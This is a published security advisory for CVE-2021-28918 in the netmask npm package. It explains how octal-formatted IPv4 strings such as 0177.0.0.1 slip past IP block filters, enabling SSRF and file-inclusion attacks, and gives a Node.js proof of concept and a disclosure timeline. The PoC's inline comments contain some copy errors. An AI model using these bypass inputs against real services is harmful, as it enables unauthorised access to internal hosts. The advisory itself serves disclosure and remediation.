sickcodes [CVE-2021-28918] 9.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N ✓ History

1 contributor

170 lines (108 sloc) | 6.15 KB

Title

netmask npm package - Improper Input Validation in netmask npm package v1.1.0 and below of octal literals results in indeterminate SSRF & RFI vulnerabilities.

CVE ID

CVE-2021-28918

CVSS Score

9.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Internal ID

SICK-2021-011

Vendor

netmask project

Product

netmask

Product Versions

v1.1.0 and below

Vulnerability Details

Improper input validation of octal strings in widely used netmask npm package v1.1.0 and below allows unauthenticated remote attackers to perform indeterminate SSRF, RFI, and LFI attacks on many of the dependent packages. The netmask npm package incorrectly evaluates individual ipv4 octets that contain octal strings as left-stripped integers, leading to an inordinate attack surface on hundreds of thousands of projects that rely on netmask to filter or evaluate ipv4 block ranges, both inbound and outbound. For example, a remote unauthenticated attacker can request local resources using input data 0177.0.0.1 (127.0.0.1), which netmask evaluates as public IP 177.0.0.1. Contrastingly, a remote authenticated or unauthenticated attacker can input the data 0127.0.0.01 (87.0.0.1) as localhost, yet the input data is a public IP and potentially cause local and remote file inclusion (LFI/RFI). A remote authenticated or unauthenticated attacker can bypass packages that rely on netmask to filter IP address blocks to reach intranets, VPNs, containers, adjacent VPC instances, or LAN hosts using input data such as 012.0.0.1 (10.0.0.1), which netmask evaluates as 12.0.0.1 (public).

Vendor Response

Fixed in version v2.0.0

Proof of Concept

```
# cd /tmp
mkdir -p netmask_poc/node_modules
cd netmask_poc
npm i netmask@1.0.6

node <<'EOF'

var Netmask = require('netmask').Netmask

var block = new Netmask('31.0.0.0/8');
block.base;                     // 10.0.0.0
block.mask;                     // 255.240.0.0
block.bitmask;                  // 12
block.hostmask;                 // 0.15.255.255
block.broadcast;                // 10.15.255.255
block.size;                     // 1048576
block.first;                    // 10.0.0.1
block.last;                     // 10.15.255.254

console.log(block.contains('########################'));
```

```
console.log(block.first);
console.log('thru');
console.log(block.last);

console.log('is 31.5.5.5 in that block?');
console.log(block.contains('31.5.5.5'));

console.log('is 031.5.5.5 (25.5.5.5) in that block?');
console.log(block.contains('031.5.5.5'));

console.log('is 31.5.5.5 (25.5.5.5) in that block?');
console.log(block.contains('31.5.5.5'));

console.log(block.contains('######################'));

var block = new Netmask('127.0.0.0/8');

console.log(block.first);
console.log('thru');
console.log(block.last);

console.log('is 127.0.0.2 in that block?');
console.log(block.contains('127.0.0.2'));

console.log('is 0177.0.0.2 (127.0.0.2) in that block?');
console.log(block.contains('0177.0.0.2'));

console.log(block.contains('######################'));

var block = new Netmask('255.0.0.1/8');

console.log(block.first);
console.log('thru');
console.log(block.last);


console.log('is 255.255.255.2 in that block?');
console.log(block.contains('255.255.255.2'));

console.log('is 0255.0.0.2 (173.0.0.2) in that block?');
console.log(block.contains('0255.0.0.2'));

console.log(block.contains('######################'));

var block = new Netmask('10.0.0.1/8');

console.log(block.first);
console.log('thru');
console.log(block.last);

console.log('is 10.5.7.1 in that block?');
console.log(block.contains('10.5.7.1'));

console.log('is 10.0.0.255 in that block?');
console.log(block.contains('012.0.0.255'));

console.log(block.contains('######################'));

var block = new Netmask('1.0.0.1/8');

console.log(block.first);
console.log('thru');
console.log(block.last);

console.log('is 1.2.3.4 in that block?');
console.log(block.contains('1.2.3.4'));

console.log('is 01.2.3.4 in that block?');
console.log(block.contains('01.2.3.4'));

console.log(block.contains('######################'));

EOF
```

Disclosure Timeline

- **2021-03-16** - Researchers discover vulnerability
- **2021-03-17** - Vendor notified
- **2021-03-17** - CVE requested
- **2021-03-19** - CVE assigned CVE-2021-28918
- **2021-03-28** - Vulnerability published

Links

https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md

https://sick.codes/universal-netmask-npm-package-used-by-270000-projects-vulnerable-to-octal-input-data-server-side-request-forgery-remote-file-inclusion-local-file-inclusion-and-more-cve-2021-28918

https://sick.codes/sick-2021-011

https://www.npmjs.com/package/netmask

https://github.com/rs/node-netmask

Researchers

Victor Viale: https://github.com/koroeskohr || https://twitter.com/koroeskohr

Sick Codes: https://github.com/sickcodes || https://twitter.com/sickcodes

Kelly Kaoudis: https://github.com/kaoudis || https://twitter.com/kaoudis

John Jackson https://www.twitter.com/johnjhacking

Nick Sahler: https://github.com/nicksahler || https://twitter.com/tensor_bodega

Olivier Poitrey https://github.com/rs || https://twitter.com/olivier_poitrey

CVE Links

https://sick.codes/sick-2021-011

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-28918

https://nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-28918